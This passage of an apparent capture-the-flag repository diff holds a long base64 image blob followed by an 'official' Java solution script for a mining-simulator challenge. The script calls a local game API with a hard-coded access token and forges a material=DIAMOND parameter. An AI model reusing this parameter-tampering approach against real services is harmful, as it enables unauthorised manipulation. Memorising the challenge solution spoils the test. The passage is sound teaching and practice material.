pEIIj/trW1rVmzBnI+0HWdPHlyRUVFPp8HvzEU5DAMo1AolJWVZbNZ5AhgK8icFUt2H0pZCNsiRcOVBYb+zCFHcRZGGLT4ahGJCj8t+DLOeW9vbyKRqKqqwuIsFAqKogSDwRtvvHHu3Lm2bbe2tvb09HR1de3Zs6elpQVS1lVVVY7jVFZWnnLKKd/85jfHjx8PsI4doLe3Fz9UVlbilP6pJsl++TA0iF5d1zVNa21t/fDDD8FqBQIBn8/X2Njo9/vBryGpO5SnD4fDsVhs8+bNLS0t8LX5fB46zSIHDuauuMBjKIct5hx/th76MBMO/pq9Fr1SZFBwLBwOo8QKI4g6OjoqKipGjRo1atSoHTt2IDCYMmXKzJkz+/v7p0+fDnNEGtI0zY0bN9bU1KBOXxRaIRWFEryysjIEIegnF71hX27IgYRcMdYUEbfI5SKvNlSlztEdqVQKtw/E/rvvvis2Tdu2J06ciCLgfD6PTZkPfZSUlCA/7Pf7wX8pioIOIvSTorYd9o0F4PP5UIyPCUDgtvHtaNfDdnzk7z3sgaQ68iCADYKcRp0d8p3AGPX19cjwwxDT6TTaB9ElBX5d1OgdOHBA07RwONzU1CSyTpiaFY1GhXOF11dVtbjrRJKkYtzFGPP7/UgeAZsVV2v9nQt1qF9+6g3t7/+UYt1BPJXPexwBYIAgp2KxGJrqKKXg8vBQj+A5RD4PggGom4OxhkIhNJyKwfEDMjGUfizbPHjk83mEp7lcDuIEwlN+qiuClKg4YVGhKj6nWKG0t7e3rKwMy0DYoii9IoOFyLD1YDAInCbG//T19WGW4RHqlY9wCeJzxP5w1JmU4vLGzwqqHaVBHyoXK3zVQScnSo0/qxwhSogwXf3Qu4BdQni4oe41PkFUhx30OeLqEOcVY0RRFY3rGmgtGVwkwqd+2sQvOF3QF3CBYu6lEOwSGWYyqD8tZpoI4Q6xPIpPQGRGkSjByDafz/eJw+6L8/CCYxGVJ6SomOTTPl/MjBPnjP1cOP4vwKDhAoUnFgBDlJsdtL4/D3YWqW8ULWAINoaYIF3yN2JxQoiu62JUFBhc7PtiK0CpRrHFFONm4aVQYnZ01yKUNISViN2g2OxwbuJPxW5F2BzsVdRzo+4KdQGQthE351NVXIg2meKdSkwQ/bQN3lixBznEg0rBvkjIITyW0EDBnf087BgcKmJ2TIs67P0in5SPzeVywIiH2hYpGgco9plio/mroTBFCwy1e0dwe0MhzoMsWOTwxKYHcIw47KDLFA044IaLE+NYJ5ZlCSPGMgYiP8KyF0oxBzkmQCNhi6Jg8KhLkQ7d6r9gg/7H17wW+xUxOsQwDAAAMc0Xe+sRbFp4YhginpMo2McXofipv78fob3Yf0lRtZ2IGf5+ie9Dn67YRhAaipwc6voPxfQgK9GRhb/i7ZDGI0Uqt/l8/shr77DnJkbECpdBhdb63202n4ktHaVBCx6geOsB6hADn8WtF8HKZ0JjCTcp6jqKy3eQrP6ruTtDnD8GmuBn5HhFuhEZODSeCJ24gzKF+DohkFzszOAXP5WHBlbGt8DOxC0V5ynwhuhCFZ8pqqIPu4AR/IF0E5sS5xzp66FWu8gcFWMD2JzQUkLC9agNUUQdR3Y9/wiDBg0svBFG/6J2wufzhcPhUCiEU4SRfVbVsQJQiumOsDARsAuXSQYrzY/wUWLsn+B0hYmLhFzxyR9KPojvhTmipvTI7MpQBg3WD+0FqFBFo43Q/zx0bYD6KMYY2CKwosDxiYUqktUH4fLDHhs3boR8o9frFW1g4rrQ/YVw+agpjkwmE4/HUVUSCoVKS0tRffr5GjS2coRZxVwY7oi4L6j1wRP1eDybNm0aNWpUsfWjVdPn8yWTyVAoBJYtEAi0t7ejjsJxnEgkgvgMBaJD3QW8HbnrSCQCUvYgLgk2LcBJX1+f67o//elPOecQrj3vvPO+8Y1v5PN59Boip4BOEFVVxRjg4iXBOd+9e3dTU9NBkRwh5KGHHrr88stRaf3AAw8sWLAAkRmuQghtQa82GAwuXbr00ksvPeWUU+bMmTN37txx48YB8NTX17e3t8uyvGDBgoULF37ta187AsZFGQkCsksuueTRRx+96qqrYrHYKaeccuqpp2Kdd3d3V1RU4Hn9+Mc/Xr169Te+8Y0JEyacfPLJwWBQIPJibUVsCyg3x3dt3rx54sSJAufgOa5YsWLevHmNjY3f+ta3Zs+e/fWvfx0vQNBZzCcKN4ECSTx3vAB3DF+N0AUjogOBgKimxNvxIP4WmPQJywv7XUtLC+qwkDvVdV2U0mKZ4jfJZBLu5LHHHquursYneDweyF/D99i2nUqlxo4dO23atFwud9NNNz3//PPg+fF6ZKSG7MnjXPSPgOdCV1xx1zQQJBksByWElJSUXHDBBU8//TQ4Zl3X58yZA9K6vb29trZWPE680ev1QocJcRV2eYjIkEFZ/HA4LIqEUA+Ewgbs/rBm9H2hUU8IzubzeYizvPTSS6+//rppmlOmTCGEPPvss11dXSjUXrZs2fXXX19M8B9q0HjwMLsNGzYQQhYvXoxgYO7cuZzzvr6+iooKnGFfXx8EHjZt2uT3++++++6FCxdCCvAg9gYtW/hYRBQAGIhPLMsC3/fMM89EIpHdu3f/5je/+eCDD+bMmYM3ohXN6/W+9dZbFRUVuVxOyORBSgHeTeTgxGPduXMnShiwk+CNYpqW3+/v6uo66aSTcEuP3qCRnXr99devuuoqcT0is+/z+dLptKgJxutzudwvfvEL4bkPeiR4YFdeeeWsWbM0TautrYWVkMFpNLIsow7zsAeUU3w+HxY05uTBxeIGFcfgYuzf7bff/vTTTwcCAWxwsVjsiiuumDRp0uTJk2trazG0jwyqxwKhrl+//tVXXwX/BXqOMSZOFTlLyNPgK3Bzcrnco48+umnTJsMwAoFAZ2en67qVlZXjx48/99xzS0pKPB5PV1fXO++8gxx1Mpk86aSTCCHZbHbRokVYipqmnX322bDyobApnjHwxpYtW7Zt2ybkub773e/ijULOQdf1nTt3As9AtnnatGlYvcWOoJh4htgSLj8YDAKCp1KpYDCIR//SSy+Bxbcs66KLLhJY3OPxYHLceeedB/WIYDAoCtMR8MDpYBIAdkJd10866aRUKiVkGMT+EA6HUUSFDp1PLFX9ZAAkSRI6okHOC2vDni6KvGzbjsVisBgEgog/gOowlxevhN4PeopQnVhSUtLX1yeIZMxuGgq7w/NBkxgLGldbzIaK6kpJkrZs2XLLLbfAs2JFZTIZy7KuvPLKNWvWYH4CXBQwKyZsO46zaNEiMthwVTy0qhicgC6A4AvW8MqVK1euXIksplhaV1555RVXXIHikHvuuQdPK5vNzp0796STTnIc54UXXli3bp0Iavv7+6+//vp4PD7UKEFFUb797W9PmzYtEAhs3rwZEqCEkGHDho0ePbq3tzcajYqGqGAweNddd8FSvV7vjBkzIJMnYgPDMIp7cwzDEBIzAGx1dXWyLCN12t3dXSgUIAuGPvPjjjsO7wKxiEoSfIK4dVh7QA54ZMitihJFuGTBMw7Itw4eoql+qJmOf6tBA9FOmzbtrrvuYoxBzEGIYyMfgbKeSy+9FBpcXq/3V7/6VXV1NcYmwGsCSIDnsm27qakJFQtAmX19fZFI5M4775w/fz5U44cKIimlu3fvHjVqVG9vLxkUWEmlUqLkAME7imk45x0dHRdccIFhGLFYLJFIDAgwW1YoFNq8efPFF1/85JNPwkyxgwvGBgXBAjiiOxWCHgfFdoqiIDaCmQrl2YFJm4piWZbQtfd4PIsXLw6FQhAi+s///E/gk5///OdYw+jMffHFF+Gohnp4+PCWlhbO+WOPPYZFpWnaiBEj0JLd29urquq0adOqqqps23711VexXFOp1MiRIx966CG0seBUPR5PVVVVfX19VVUVtoiSkpJkMuk4DvhKQfVwzisqKu666y7EHsBmd999t2EYqK4Bx6Uoit/v//nPf45WLlwXtjh4NICTa6+9VrRp3n333XBMgOB+v991Xfg7SZKi0Whvby/SXkfOmn2CQcPFNjY2NjY2omJh+/btwAY+nw9BFRZQaWmpruuZTEaW5erq6tGjRwPvIj6zLAuOGTspHBuCPDRdJpPJxYsXr1q1ynEcjNA77Pkkk0ncGtd18eyxK4mFCxAJa47H49dcc83u3bsJIYlEIhwO/+AHP1i2bFlvby92kjfeeOO3v/3tT3/6UyAEZGpwv+rq6l5++eV4PI7i4P7+fswG+OEPfwgQgg5z8H3iFkuS9O1vf/uUU06Bd0yn00gfIjLzeDzLli07cOAAjDUajU6ePDmbzf7sZz9ra2sDQAJswIYDeaehnsvixYsBmgOBAAIYwzBWr1791ltvCchx//33L1iw4NZbb8WNgp974YUXHnvssUAgkEgkRB2VyBOJ3jM85Z6enjlz5qCNQFGUa6+99vbbb7/99ttzuVwgEIDq2n333QffVFwYzRg79dRTS0pK3nrrLZReYfNBhRMcsCjEBXrGIsFaFRylLMsnnnhiVVUVXvnJdNmRq8B0XUfFN4T97r333pKSEtz6YmyOYhe07gzF5siyXFlZ2d3djU/Gcl+wYIHgkgBsjryh4K8CSMmynMlkRH2FUKPjnL/33nu33HILTgPyWWVlZa2trTt37oRBCMu48cYbxfmk02lxerlcDhJv+E2hUNiwYYN4IyJCHA899BB+GYlEHnroIcBWQSQLYBaPx2fPni3UWG699VZd159//nkyKJ0qPlwgDTbEcdj+ar/fL3YqhGiYXowdBvd5qKEngnXGXiS+HZBJrNgLLrhg7dq1sCoB4Q76KGzaqqpu3779jjvuOKhbGX1u4lGKkiz8Fx6w+MWhUOiOO+74WDnbcY5ssZ/goTVNA3QGiofABRnUVBVIsa+vD0FJOp2GQKCYZgASDSuyq6urvLwcvIEyOH4dKApvxyXBCIa676qqYhBqNptFeWdx1gN3p6Oj46mnnlq0aBHuXTKZZIy99NJLpaWlgUDgvvvuu/rqqyORCNRsH3zwwc2bN7/88su2bcNQsK/BGXu93lQqVSgU0FgKJ1dWVgbMI9hl9D4lk8nHHnts06ZNYEXAIhNCfvjDH44bN27Tpk3vvvsu2E9ZlmtqapLJ5DXXXAME6fP5pkyZ8tZbb+ErDpq8diiJfsMNN9x///0IsoH7EbPCdoWQyPLly4Gy4OFyuVwoFEInCwZVFZctCMYavhNK1alUSniZ4cOHQzECERSsWSRNI5FIKpUC/NB1nVJaW1sLYgDbDjgG/EmkHovDHtFyj4wSSlBqa2tBIgmzOXrIIegCfCU2UNyCiy666LTTTgO3glsDCCXWN6Tkc7nctddem8/nAS1EoUKxKUDy9eGHH77ooougDn+EDN9HH300ZcoUQF7scUKCEUA2mUyOHz8+mUwCMQPq/frXv546dSpjLJVKXXXVVcuXL3/99ddxMslk8i9/+cvcuXMfeOCB6upqTMcxDOPee+/FGNZMJoNbDI0ltMNgl0CLKKJYcAJr1qx57bXXEBDDwrxe7y233KLr+q233op4CEPWXNf98Y9/3NnZiZM3DOORRx6BNQB5F++f2IuLq5CFEBRonNNPPx0R85133gkM4PV6u7q6HnzwQcRSiqLMnz//9NNPhxdwHGflypV//OMfQcOJXQ6PDA1pUJxRFAVew3GcF198UTTY+/3+5557LhwOl5aWdnV17d69+9JLL0Wk8V//9V/f/va3S0tL33nnHcFJP/DAA9/73vdECResXEAOkCcCVT722GMLFixAQJVIJNAj87ckVo4yzcMYg+AfBpMJUR9IISIsQ4F8NpvFSYOUOWiXDAaDcEh4nO+99x4iZcHaHEq57N69W+jTgU4ScTEhZO3ataecckp1dXUymYRJhcPhG2644dprr0VCMRwOO46zfPnyc845B5aH/WflypUnnHDCn/70p3nz5nV2dlZVVWH9iGWJDtyurq5QKAQpW5E6xjxC8EoikC+mI1Op1IYNGzZs2IBgCAvmqaeeWr16NcZMpdPpO++8s6KiAgGZ6MoWMZPoY0BuC7cdNJ/H4ykpKWlsbJRlGboFVVVVXV1duVzuN7/5DWAu7vCPf/zjY489VqSoCoXC448/Dn/5wAMPnHfeeZFIBEg3HA5jrlxVVdWKFSvq6+vxiE888UTkXNA/W11dPWbMGNM0a2trN27cKJp2R44cWVZWFggEhBXatv3YY499+OGHaH4DtCgu9L3uuutE4aTrulu3bhUuTzQcfI4G7bru4sWL//jHPwq3LTIjAhXA7IBbhMuBZxLSyIAEcNggvI78vdjLYrEYuqzBOeAz8/n8HXfcsWjRIkmS9u/fj5CRMfazn/3ssssu6+rqWrFiBWIX13VPOeWUp5566sILL3zmmWd8Ph82ing8fvrpp1955ZW//OUv8/n8smXLULcEciMYDO7YseOXv/wl/itQaSqVisfj/f39eDZXXHHFvHnzEN6BwELWacmSJUhkwBkHg8FLLrnkRz/60W233bZ69eoLLrjgBz/4AXZwAepCoRCYLCFTi/sM/AacjVWEzBR0c/r7++PxOMruPB6P3+9HZLlgwYJjjz0W+rnhcFiWZQjY4cZGo1H4kXg8XlVVBWfp8XgSiUQ+n8dH3XvvvevWrSuuVRLmyBh77733UB9mmua4ceNw5pAjA/28YsWKN998s5hjFqqWlNJ77rlHOH4BOHGxgnH6HA1aRMFolMAtxkVi0xHwqLq6GvkFMqipXFzciN0cDckI7+C9hsoGYRIewnOxV8iyvHv37p/85CcIsIqrJn75y1/eeOONhJA777zzpptuwr5JCHn33XePP/74P//5zxdffPHTTz8NX4gG5kcfffQPf/jDfffdN3/+fM55JBIR9R4bN2685557BNcOKhpDYxFORaPRSZMmnXbaafg04ATG2KuvvgpJOOhdCEO88MILt23btnr16lGjRi1duhTOGJqLuVwuk8k88cQTbFCyEUQbBqY0NjbCHeCKIpGIYF0qKiqwDmVZ/tOf/hQMBp9++um777773HPPTSQS4FuAlJ577rloNApsduDAASibQUoK2yYWiab9/+2daXCT1ffHY5YmXVPSVYQCpRVnagcQXGirM4i2VjYZEXSoVrZaAWWkOEXlhahAcRAVV9RWukgHXNEBxYqytGxlZCm1WEAqtCVp0iRt06SkS/4vPuOZZ4ps6m/m/yL3BROaJ89z733OPfec7/mec/Xsdfn5+QQ+WUIajebkyZNxcXFAYeDoIEWRkZGUZh0xYsTcuXMp42s2m1lmksdVWFgorL25c+eSNIQiYGVyitfQoUP/5wIdEBDw5ptvLliwACGDSC7+qVAI2tvb3W43HUKChTUGNf7mm29+8sknhVMrRTgvl9zq9XoHDhxoNpuphYxzY7fbR4wYoYwhER954YUXnnnmGYgZgwYNwuEIDw+HUMFl69evHzVq1IoVK5AwsK3Bgwfn5uZWVVUNGjSIOm4EbN1ut+zgFA2itCFm1cWLFy0Wy6ZNm44cOUIqF5y1kJCQ7du3Y55arVaTyeRwOLxeb3R0tM/nO3LkSGxs7OrVq/GB8InBrcPCwmbOnInSEnYASqGoqMjlcknRPZvNRg6IlFUQMHTy5Mn33HPP2bNnc3NzN2zYkJKSEh0dzZsCjpSAXGtra1RUFDcxGAyMDhwJZsXnn38+ceJE4HzM4t27d2dkZKhUqt9///3cuXPcauzYsVFRUXi6cXFxOTk5ZKkBwwPUku0mWrmnpycnJwfVxpIICQlBoK+3kOk/19CLFy9euHChcCrEZAwODg4JCbFYLIJAobCVyMnhw4c5Gic9PZ3ylRx9gmQj7pcL9KAwACJ8Pl9dXd3FixeXLl26du1aAE5AiS1btkyePFl+hcbq6elBIrVaLYayyWRavnz56NGjZ82aRc0KREqj0WzevFkKtxmNRrvdjoKRQhzkybLnCvHg0KFDlZWVcpnSWyCgQ/gJGwn9x5YqrpJwRdra2jBaRJrZoyn1i8Tr9Xqr1bpkyZKlS5cKDKxWq5HUwMDA5ubmhQsX7tq1y+12T5s27dSpUxqNJiIighLorOquri6n05mcnMzURURECDTR29s7efJkh8OBOZSenr5r167hw4f/9ttvFy9eJCaqUqm2b99O0MRgMDzyyCNgIH/++WdSUhLSDAsIUItNGNdfjJbU1FRESMILUPx4X9fBCb2WnGSJQJaUlAh8yF4P9il2GGqSfyMiIsCnkfKwsDCs1cbGxsjISGXFFvbra0nWIvoqTzSZTFLUfuTIkfwxPT2d2oQ+n89sNqM733nnHaqaswJZBoyus7PT5XKdOHFixowZrMCdO3cGBgaixaEcoJMYFwtYOAler5dpkfqfolEIWFKMi78MHjxYCAw4ZDk5OaGhoVhi0GOUULSU4GDggvFv3rx5zpw5XCAzBs9T4q+BgYEffvghjq/YxMnJyRcuXAAanzdvHruiSqUqLy9Xxj4RX51Ox4xJofUzZ8788MMP69ev5wK9Xn/8+HG3252RkSHd2L17N/cnWgRo24/uJh3u94EJx8RXCsO1589r/7EBPXv2bGJIXq83PDwcX95kMrlcLrfbnZCQ0NDQ0NPTk5CQ8OCDDwpPTa1W33TTTTabTa1Wiyvt8/mEwgKF6HJijeKBGcLJJgLevfLKK48++ui77747c+ZMwmzEabEXhw0bhjMnNAyAW0KefX19SUlJ5eXlM2bMOHfu3L333ltSUmKz2TCOybLWarWnTp167bXXYPkQWMG85g5EE7Kzs1NTU71eb0REBF5BcHDwhQsX8vPz09LSZs+ePWfOHPoPDvPee+9t2LABu8jtdr/22mvvvfdeV1eXy+X6/PPPp0+fDp7d1tb24osvfvTRRyBI4jKi9XkQ3huBW+wxo9GYlpa2fPnyFStWgJHV1NQUFBS89dZbMH4kXUAcNUgyknMAJo3hERwcbLfbMzIy2FFh4Gzfvj0jI2PHjh0SzRkzZgw1IQwGQ0lJidlsjomJCQsLoxRqdHS03W5nd8VuZrsrLi6W/cpkMv3xxx8rV66Eonhdp1toryVVRpAmdmRqZxHl1ul0DoeDrDX4pd3d3QMGDDCbzaC2ra2tAp6zUfLfoKAgEHu2PDmyCX4gcRweBFAqfeAysUl4E7gRjY2NJpNJeEJYDugSUAjITxIExu4Xsp5arZ42bRpG/IMPPhgUFERBDE7c6ezsPHXq1EsvvURc3ev17tmzJysrq6ioSBBJjUYzevRojutTqVQc7E43nnnmmU8++QTtxUNDQ0PRZMQLQNb379/f3t6OVHHyGupWmU3Y29s7atSoHTt2cGeCWTip7O9ut1vqcgQGBubn53/11Vc1NTUREREWi+Xtt9++9957p0yZ4nA4xH2XXO6WlhYI0zB+9Xp9fX19RUUFdzMaje3t7ffffz9ojNFofPnll3/66SfRvmvWrAGI3LRpEzSEqKgojtVCW7ndbsYCe16qloGJaTQapoW/EINTqVQfffTRgAEDJk2adNXUp2sKrCATAQEBoaGhUtJv27ZtX375pcDmBBSFmiy5QyD/0LIYVW9v79atW6FJBAcH7927t6Sk5P7773/ooYdYGCA7GzduPHjwIC75rFmzJk2aJKIgyxr/2mg0nj9//rbbbhOsWvgA11sYU7l9I2FAV3K09dmzZ5uamlJTU3/44QdIwOnp6YcPH7bZbFTylGWm0+nOnz9/ww03REVFWSwWp9MJwip0LkncAk4m3aGqqgo4WaVS3XXXXcKL1+v1nEVL/NXhcEg2Q3R09Lvvvvvwww9jOr/00kuFhYWgIuDogYGBZWVlI0eOtFgsENmnTp1qtVrBIoRqRn8CAwNHjhy5fv16BuJyuYqLi3/++Wdsd9yGtra2tWvXrl27Fuuf41qQzvHjx1Ngd9asWWIN/20zmUz0jX1gyZIljBpJAwaR0NtTTz2FGhLi/z8UaKkFoUReGTwbPWdNNzU1Yf3g9UMFNBqNAKJUtwdOx5kjpQLn/ffff/d6vdu2bTt9+vQbb7wxceJEHn3gwIHq6mpIw/Hx8WPGjMG2aWxs5AUTOfvjjz/Gjx8vriQfYGz/gyIPcqYJZWR/+umn2267jXiH0uh3Op2fffYZsnjjjTeOHTt2375948aNQ44pVpSbm/vdd9/l5uZy9nBLSwvBF7QO7q94DjabLTIy8tNPPwXvg7Is8Jb4DygtlUoVGxsrstjS0tLS0tLZ2RkaGjpgwAA5gQVEld8mJyfn5eWtW7fO6XQmJCR8//33MNe7urqQD6x8yu4YjUZhTRgMBswtYYEzORMnTly6dGlsbKzZbA4KCgJpzcrKSkxMZNqJsF6Bk4yjSScpf4MoA97xRMEiQfGk7OC/EmjJmWNyEcq+vr7y8vJHH320+6+GNIeFhUnBYEk9kpIAGAAcKMGmb7fb33nnHVzMU6dOEVhGUNBn+Havv/76qlWrCLORRgUYHBAQMHDgwLNnz2o0GpfLBU4irFllTYVrbMo1UFVV9cgjj+j1+tTUVPwnGGp0oLCw0OVybd269cKFC1qtNiUlZfv27ZmZmaAfmZmZp0+f9vl8H3/88V133TV9+vTo6Gg6jJDhUgtJMDIy0mKxrFu3jhieSqWaPXs2U4fAwbCFoqnRaOx2O9sdPmJoaCi6hiLnMud4pXBjXnnllS+//HLOnDlZWVkxMTFBQUHsJyhmOGcSA8dTB6wkwM6cDB8+3OVyBQcHx8fHL168+O233w4PDxfsb8GCBeyZlDnGurgcF6Wvrw8yAsz1mpoaGBA4JFarFd4vm+S3334rVJ9/JdDEGbpMhgAADPFJREFUO5599tmysjJ8EY/Hw1byxBNPPPbYY+wd+DcwYNgWxeQVrgnJ1eAD3d3d9fX1Q4YMOXjwIPE8g8EQFhaWlJQkx6aHh4dzH2ECCUotY/N4PA0NDTh5GDlI/BVOOblq8i+boMfj2bZtG6j5rl27Fi1apNfrQdzII+Lcrbvvvnvfvn2wioOCgnbu3Nna2pqWlhYfH19TUwOh4vHHHx8yZMjIkSNlr0Q3d3d3U5aOdb5ixQqhdoWEhJClJwm8AQEBQG/CUAsPD8chxqKDZ2wymYAjlMnwnPGjUqmqq6sDAwOlGxgMsJEEZ8RiRDsgWzjB4N9NTU1kuzidTg7xIC6j0Wjuvvvu2NhYbksovq6ujiSJv41jAAwgITqdbvXq1UBhqAxIE2L23Hnnnaq/ztb5D2A79FO/Gl+4sZcSPiXXX6vVDhw4UHYr5pH/6nS65ubm5uZmqn0K95L4MA994oknlOMXBDAkJASQi5fEBi1dxR+SQ9akhGRpaamyn7W1tZJ6xDqUglfAfJwQRd8MBsP58+exWVG0QjE9c+bM0KFDBw4c+Msvv/AUg8EwdOjQ6dOnG41GEZ3ExETqMZeVlUmQdePGjUJ2feONN3gce9rq1asvfQvK6a2vr3/88cfFw3n66ac/++wzyAjkdNE2bdokR921trY6HA6xJZQ5KaR5y+d77rnniy++2LJlS2lpaVFRUXZ2tnx1+vRps9l87NixESNGiO/EQZ0qleqWW24huA1XtrGxUXuZpmSQCxyJOifpS0QFAQMKI4xwZVm9ukDb7fZ58+ZhRVBdmGCvskPYgrwMLE4l7igFXLgsODhYo9FUVlYWFBQoGboBAQGRkZELFiwA2szNzY2IiAATzcvLO378+MGDB0+ePFlXV1ddXX3ixImGhobq6urKykrkWFjLStbsPxBoKNGbN28Wbzg7O1t5YprkSkKmMZvNoN0+ny8zM7MfTVmn07GzT5kyxefzffHFF6g6UolhmW/duhUuFJOZmJjodDo7OjpIW+zp6bHZbHv27OFucrIM26MkXyn1sZjmcnajJKW2tLQAvVdWVsqI1Go1p8yI6pG7AatLTdSqqqrCwkJJvabIAU8nJgDQ0djY6PP59u3bd9UtEZOG/YTPysIM8llOQb+qQF/F5KAI58cff7xu3Tq4lG63W6fT/frrrxaLpbq6urCw0OFwbN269b777uPZEC3i4uIGDRqUkpJC2sKwYcMSEhIgT5LH0dTUtGzZMsBgoRHa7fb333+/sLBw/PjxtbW1okXwdQgQUCNGq9W2trZqtdqYmJgDBw6YTKZBgwYB+qr+Kr13vQXXZAXa7fbnnnsOuQkODs7Kyuro6CDEBYy4Y8cOApzU1GPHKC4uhlyFlbxz586KioqCggLO80xOTna73TidLB63293W1lZaWrp06VKBIwMCAtasWaPVaisqKnp7exMTE9VqdXV19apVq6ROAOS70NBQOVBUGOqEErF/IAXghX/wwQeHDh2ChtDS0uJyuX788UfqzgiZm2XW19cHkIUhRIYYvo1KpUpNTeUnKBqPx5OUlJSYmPj999/z3vv6+vLz88vKyvLy8kg+vxyFob29PSoqCmQMr0moVz09PWfOnElJScHGY4AajYZU/H9lcsiR7kePHi0uLp43b964ceMAmNGpBLfGjx+P8coyevXVV5WrPzg4GNmaMGHC/Pnzy8vLKyoq4uPjlRk1L774ouqKNc6uXFyHih+yMdF5zt+m/xs3bhSLRa/X19XV0WHRtfLB6/X++OOPOp2OMQ4bNoy6KmhE5RYpOkZUowyHuInD4UhKShoxYgQGSUdHB6eRc8GiRYvGjRsn9zEajTfccENBQQHdgFMl3VBG1GbMmOHz+fLy8vpNCBwvjD3OCS8uLvZ6vd3d3Zg6UpcHSQW20uv1CQkJoFhss8p0JPHqiJgCsIiQjRo16tixYz09PdOmTWN/Zm1otdrhw4c3NzcrrUF8R51ON27cuOzsbCUinJiYqMzxuXjxot1ub2hoqK2tPXbs2PHjx689Unh1kwPmwMqVKxmtBEuxX5lTvV7/888/c319fT1Hy5DbKBfHxsaSUaNWqwnkSirOli1bPB5PVVVVeno6f1QGkJnfKzt58+fPlzQqoDGxIvBHSQslf1OlUtXU1GCliBXLT5xOJ78qLS3NzMyMiYnJz8/nDitXrsSODwwMJDJ6qecgsr5mzRruXFdXZ7VaZZmVl5dLrOeTTz6REAzG+syZM1HhFovl66+/llIE0dHRopkGDBiAlZWTkyMOX05OTmFh4aefflpUVJSSkiLJO6WlpYxODo29lJKu0+k2b96MKsXymTp1amVlZUNDw8mTJ48cOXL06NGzZ89WVFRkZmbyNpHySZMmNTU1MTS73b5s2TIllv/NN98wb0KS7uzsZBQSV5cEuWXLlmEIKQWPY2sI1f1nAs26sdlsFK0R7w2G0AMPPLBhw4ba2loss/b2dq7v6uo6ceJEWVnZ9OnT4+Pjw8LCxFBWq9V33HFHW1vb7bffznhyc3MBzAlN7927d/ny5UlJSTfddJMyuU2Z+nZp279/P84ccix5kJiPXq+3qKgIUTYYDCEhIbW1tYSLxXQWvQ7T2ufztbW11dXVyTX19fVZWVlKUbjxxhuhQ2k0GqBx6LJTp04FbZRuyNsqLCxkqwkPD//www8bGhpmz57NxGZnZyP6rLRz586xE4q7YjAYwsPDsbx9Pt/TTz8tPYGYTsvJyUHvBAQEvP/++yzprq4u+I/issOnGzVq1Msvv9yvos2zzz4rb9/j8cjMCBlaq9WWlJR4PB4yROl2R0fHxo0bCRgvXLiQHVIpS729vZMmTZJ3yrg4lIjEFuVbUB6Efl3t6lnf7e3taKbnn39+zZo1S5YsufXWW2+55ZaYmJi4uDjWX78EzJ6enqSkpKSkpFmzZkG5PHz4cH19/TfffFNdXT137lxSS1avXl1fX798+XKUFrX409LS0tLSXn31VZfL1draitnATqrkhvdrw4cPB3UisAL3TaWobg8OaLVawb9DQ0P7KSrub7PZoqKiJM1RCm50dHQkJiZyGHB7ezsHu3OuNVQ4NnGfzxcXFzd69GjeFt9KFVAC0WRPOZ1Oo9E4ZMiQgoICl8t1++23z5kzJyIiwmw2s6cHBQVt2LDB4XCEhoaaTKa2traEhIShQ4cOHjwYT3HMmDELFy7U6XRWqzUhIUGA/wceeCA5OTkkJKSjo4NiYjxx8eLFTqcT1JXDZH0+38SJE00mE/V6tmzZ4na7IyIiiJ7wFLYOBjt27Njnn3/earUuWrSIAIrBYGhsbMR70el0WVlZEyZMyMvLW7VqFfauVAkk63vKlCkCfCGvEyZMyMjICA8Pb2lpIUu63xvpVwjzP2DbAcqK++9wOJRbg+izjo4OIDNReGKV0i2bzcZqxlG1Wq2SHc1XKCeqeQC9obP5AK3iCp3kW0mxJmro8XhET6BIRF9K3TBy6YD6+batrU1+1draqrSwlYnlyuJj7K3KmyDoSlUnv5LcckAk8dzZmtFtSl0likqOd+Ge/FfZH6ZLebH8FgE1m81KgFLZK1Yp14u1JofpgJCQq8GQ2eKUr0A2SYvF0u9beb+8a3LYvF4vVDZ5ccLr9P3TdhWBlqnnvSqb0rghEq78VgSdNcB8yQzKaGX2zWYzXzE8yvBc2p/eyzeZVhEF5btRvnjsAZF73Ca5T3t7OwF/pZur3ECloiTkCu4sg/V6vdy/p6eH+i9IEk2ey92wQVm90mF5LndAPvjVhQsXRKDx1xEg8BPlwsNKhBXUz6Dit83NzVC1xCgSmVO+F1IPlRfwF+kqk8Bw8EDketjVNCatn1EhN4Rt1tnZKcpLIgnXUrrgOgSa0SLNrFeHw8EL4zBgeSQd7ezsVC56+ZbwD5PLZxEsWIXSe4fDoZRORE2O1bpyP5UalOvlyAhxMv72BCqlMpNbiZSIgMoLcDqdSpuPIh6Xqqt+748cE3mErBA8EJ4oki2zxB3Yu+RXrAHyr7iee8rj5NUwgVzv8XjomHIm6bzyL0oFIUO22+0Sq+IvIvTKGwqR9W+nmrF3dHSw0pQ7VT+BUSrpS9fAv0I5mpub0aAMoJ/eYr3Se/6VTZzPys1duitCwwfuKXqOdyaL5FKpvbSxVNBJIpciczK5vCrBN/ptbdIxkkSUYiHvXtTP384yPGa0i1L5KX/IAOlwV1cXSlc2FqW1Iz8hya2fIPII5XbXT5TlYhmUzBV/QXfIUhRLhpuLvSdGmtwB10ImgQeJdGKpKwdOhEgsUtl5+C93E5nB2u430msX6P/gjBV/87f/P03tnwJ/8wu0v/mbX6D9zd/8Au1v/uYXaH/zC7S/+ZtfoP3N3/wC7W/+5hdof/M3v0D7m1+g/c3f/ALtb/7mF2h/87f/Rfs/euSbelHIDWgAAAAASUVORK5CYII=) diff --git a/official/超迷你的挖矿模拟器/src/MiniMinerSolution.java b/official/超迷你的挖矿模拟器/src/MiniMinerSolution.java new file mode 100644 index 0000000..97dde38 --- /dev/null +++ b/official/超迷你的挖矿模拟器/src/MiniMinerSolution.java @@ -0,0 +1,152 @@ +import org.json.JSONObject; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Random; +import java.util.concurrent.CompletableFuture; + +public final class MiniMinerSolution { + public static final String ENCODED_TOKEN = "233333%3AMEUCIQDTTJu25fXbAgKcF%2BMDCGp1OSTd%2B4OwvNmTn%2FDhZryCiAIgDQXsmAHvLrAe2BSwaoSZO%2Bml6as%2BAj0N51PI3e6Befs"; + public static final String DAMAGE_URL = "http://localhost:10169/api/damage?&x={0}&y={1}&material=DIAMOND&token=" + ENCODED_TOKEN; + public static final String STATE_URL = "http://localhost:10169/api/state?x=0&y=0&token=" + ENCODED_TOKEN; + public static final String RESET_URL = "http://localhost:10169/api/reset?token=" + ENCODED_TOKEN; + + public static void main(String[] args) throws Exception { + var client = HttpClient.newHttpClient(); + + // reset + + var body = HttpRequest.BodyPublishers.noBody(); + var resetReq = HttpRequest.newBuilder(new URI(RESET_URL)).POST(body).build(); + client.send(resetReq, HttpResponse.BodyHandlers.discarding()); + + 